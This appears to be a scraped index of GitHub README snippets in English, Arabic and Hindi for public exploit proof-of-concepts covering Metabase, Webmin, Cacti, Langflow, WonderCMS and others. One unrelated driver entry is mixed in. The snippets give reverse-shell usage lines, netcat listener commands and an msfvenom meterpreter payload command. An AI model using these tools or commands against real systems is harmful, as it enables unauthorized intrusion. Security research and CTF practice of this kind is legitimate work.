CVE-2024-48061

CVE-2024-48061 Langflow vulnerable to remote code execution CVE-2024-48061 poc Usage python3 poc.py -i -p -l -lp Description This script exploits a vulnerable API endpoint at /api/v1/validate/code on the target web server. It first verifies the presence of the vulnerable path, then starts a TCP...

CVE-2023-38646

CVE-2023-38646-exploit "هذه الثغرة، المعيّنة برقم CVE-2023–38646، سمحت للمهاجمين بتنفيذ أوامر عشوائية على الخادم دون الحاجة إلى أي مصادقة." نص برمجي سريع لاستغلال الصدفة العكسية لـ cve-2023-38646. لم أكتشف هذه الثغرة، بل صنعت السكربت فقط. الاستخدام root@box:/CVE-2023-38646 python3 exploit.py / \ ...

Project-Exploiting-a-Vulnerability-in-Fuel-CMS-CVE-2018-16763-

The goal of this project was to conduct a security audit of a blog recently launched by Ackme Support Incorporated, identifying any critical vulnerabilities before the site goes public. The task involved finding a way to remotely execute code and gain access to the target system. Environment &...

cve-2023-38646-metabase-ReverseShell

cve-2023-38646-metabase-ReverseShell run command go run .\CVE-2023-38646-metabase-ReverseShell.go -u http://target.com:targetPort -h Your VPS IPaddr -p NC listen Port note when you input the target host , please do not forget the http:// or https://...

CVE-2023-50564

CVE-2023-50564 केवल शैक्षणिक उद्देश्यों के लिए। यह स्क्रिप्ट CVE-2023-50564 का दुरुपयोग करके लक्ष्य सर्वर पर एक रिवर्स-पीएचपी शेल अपलोड करती है। आप इस शेल जैसा शेल उपयोग कर सकते हैं। बस php फ़ाइल को ज़िप करें और ज़िप को इस स्क्रिप्ट को पास करें। उदाहरण python3 cve-2023-50564.py -u...

CVE-2022-36804-ReverseShell

Original Project https://github.com/BenHays142/CVE-2022-36804-PoC-Exploit CVE-2022-36804-PoC-Exploit A somewhat reliable PoC exploit for CVE-2022-36804 BitBucket Critical Command Injection. This attack generally requires public repos to be enabled, however session cookies are also compatible with...

cve-2017-2824-reverse-shell

لا يحتوي هذا المستودع على ملف README...

CVE-2021-32160

..| XSS से विशेषाधिकार प्राप्त उपयोगकर्ता |.. विवरण : एक प्रतिबिंबित क्रॉस-साइट स्क्रिप्टिंग XSS हमले का उपयोग करके Webmin के उपयोगकर्ता जोड़ें सुविधा के माध्यम से एक विशेषाधिकार प्राप्त उपयोगकर्ता बनाना और फिर Webmin की चल रही प्रक्रिया सुविधा के माध्यम से एक रिवर्स शेल प्राप्त करना परीक्षित...

golang-webmin-CVE-2022-0824-revshell

golang-webmin-CVE-2022-0824-revshell Webmin लक्ष्य URL c - Webmin के लिए क्रेडेंशियल्स sl - आपके पेलोड को होस्ट करने के लिए आपका स्थानीय सर्वर IP और पोर्ट s - कॉलबैक IP p - कॉलबैक पोर्ट संदर्भ https://www.webmin.com/security.html https://huntr.dev/bounties/d0049a96-de90-4b1a-9111-94de1044f295/...

CVE-2019-7214

Windows Reverse Shell Exploit PowerShell over TCP यह Python स्क्रिप्ट एक दूरस्थ Windows मशीन पर चल रही एक संवेदनशील सेवा को लक्षित करती है। यह एक सीरियलाइज़्ड .NET पेलोड भेजती है जो हमलावर की मशीन पर वापस PowerShell-आधारित रिवर्स शेल लॉन्च करता है। CVE-2019-7214 SmarterMail सिस्टम के लिए .NET...

WonderCMS-4.3.2-XSS-to-RCE-Exploits-CVE-2023-41425

WonderCMS 4.3.2 XSS to RCE Exploits Overview These scripts exploit an XSS Cross-Site Scripting vulnerability in WonderCMS 4.3.2 to achieve Remote Code Execution RCE. The XSS payload, when triggered by the admin, automatically installs a reverse shell on the target server by leveraging a crafted...

CVE-2023-38646

CVE-2023-38646 A python RCE exploit for CVE-2023-38646 Usage Start a Listner nc -lvnp Run the exploit python3 CVE-2023-38646.py -u -l -p Help python3 CVE-2023-38646.py -h usage: CVE-2023-38646.py -h -u URL -l LHOST -p LPORT optional arguments: -h, --help show this help message and exit -u URL,...

CVE-2014-7205

Bassmaster NodeJS Plugin RCE PoC bassmaster-rce.py: A Python script to exploit CVE-2014-7205. nodeshell.py: A Python module to generate a reverse shell for NodeJS !!Only use against servers on which you have permission to test Summary CVE-2014-7205 is a Remote Code Execution vulnerability in...

CVE-2012-2593

Atmail XSS-CSRF-RCE Exploit Chain PoC atmail-rce.py: Exploits CVE-2012-2593 in Atmail's webmail interface. atmail-csrf.js: Javascript file which leverages CVE 2012-2593 into a CSRF to install a malicious plugin which executes a reverse shell Plugin.php: Atmail plugin to be installed which calls a...

CVE-2022-42889

Quickstart sudo apt install golang To run like Python: go run main.go arg1 arg2 To build executable: go build main.go Usage: non@woa:/program$ go run main.go - Usage: ./program vulnerable/web?param= 'ls -la' To Do: Reverse shell capabilities https://gobyexample.com/spawning-processes Better error...

CVE-2022-46169

CVE-2022-41343 🐍 Python Exploit for CVE-2022-46169 Staged Reverse Shell for Cacti = 1.2.22 Example cve-2022-46169 10.10.14.5 44444 -u http://cacti.htb Usage usage: cve-2022-46169 -h -u URL -s SHELL ip port positional arguments: ip Shell Callback IP Address/Host port Shell Callback Port options: -...

CVE-2018-20250

الإعداد فيديو توضيحي: https://youtu.be/5tuWsi1tGS0 جهاز VirtualBox: https://j2c.cc/virtualbox-machine Winrar 5.5 32bit: https://j2c.cc/winrar-550-32bit خطوات التنفيذ Kali: ip a msfvenom -p windows/meterpreter/reversetcp lport=1234 lhost=10.0.0.199 -f exe shell.exe Windows: git clone...

ane

Asahi Neural Engine برنامج تشغيل Linux معكوس الهندسة لمحرك Apple Neural Engine ANE. كل ما يتعلق بـ Linux هنا. ane/: وحدة Kernel ane.ko. يجب نقلها إلى الشجرة قريبًا. docs/: التوثيق. قيد العمل. من فضلك لا تنظر. libane/: مكتبة Userspace. python/: ارتباطات Python لـ libane...

CVE-2023-38646

Poc-Metabase-Preauth-CVE-2023-38646 कैसे उपयोग करें? λ cve git clone https://github.com/LazyySec/CVE-2023-38646.git λ cve cd Poc-Metabase-Preauth-CVE-2023-38646 λ Poc-Metabase-Preauth-CVE-2023-38646 git:main go build CVE-2023-38646-Exploit.go λ Poc-Metabase-Preauth-CVE-2023-38646 git:main ✗ go...

CVE-2023-33733-Exploit-PoC

CVE-2023-33733-POC إخلاء مسؤولية لم أكتشف هذه الثغرة الأمنية، ولا أنسب لنفسي الفضل في العثور عليها. هذا مجرد سكربت أنشأته لاستغلال هذه الثغرة بسهولة أكبر في مسابقة CTF. للمعلومات الأصلية، يرجى الرجوع إلى: https://github.com/c53elyas/CVE-2023-33733 هذا السكربت مصمم ببساطة ليكون سكربت Python3 سريعً...